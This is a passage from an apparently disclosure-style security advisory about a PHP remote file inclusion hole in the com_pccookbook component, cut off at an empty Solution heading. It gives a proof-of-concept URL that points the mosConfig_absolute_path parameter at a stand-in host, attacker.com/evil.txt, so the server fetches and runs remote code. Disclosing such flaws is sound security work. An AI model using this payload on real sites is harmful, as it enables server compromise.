register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~~
 
http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfi
g_absolute_path=http://attacker.com/evil.txt?
 
Solution:
~~~~~~~~
